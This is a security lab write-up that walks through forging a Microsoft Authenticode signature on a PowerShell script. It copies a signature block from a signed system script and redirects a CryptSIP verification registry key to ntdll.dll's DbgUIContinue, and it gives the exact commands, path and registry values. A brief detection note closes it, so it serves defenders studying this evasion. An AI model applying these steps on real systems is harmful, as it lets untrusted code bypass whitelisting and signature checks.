In this lab, I will try to sign a simple "rogue" powershell script test-forged.ps1 that only has one line of code, with Microsoft's certificate and bypass any whitelisting protections/policies the script may be subject to if it is not signed.

Execution

The script that I will try to sign:

Just before I start, let's make sure that the script is not signed by using a Get-AuthenticodeSignature cmdlet and sigcheck by SysInternals:

In order to sign the script with Microsoft's certificate, we need to first find a native Microsoft Signed PowerShell script. I used powershell for this:

Get-ChildItem -Path C:\*.ps* -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "# SIG # Begin signature block"

I chose one script at random and simply checked if it was signed - luckily it was:

type C:\Windows\WinSxS\x86_microsoft-windows-m..ell-cmdlets-modules_31bf3856ad364e35_10.0.16299.15_none_c7c20f51cd336675\Wdac.psd1

Let's copy the Microsoft signature block to my script:

Now let's modify registry at:

HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}

From:

To:

DLL
C:\Windows\System32\ntdll.dll

FuncName
DbgUIContinue

Now, let's launch a new powershell instance (for the registry changes to take effect) and check the signature of the forged script - note how it now shows as signed, verified and valid:

Observations

Monitoring the following registry keys/values helps discover this suspicious activity:

References

For all the registry keys/values that should be used as a baseline, please refer to the original research whitepaper by Matt Graeber: SpecterOps Subverting Trust inWindows​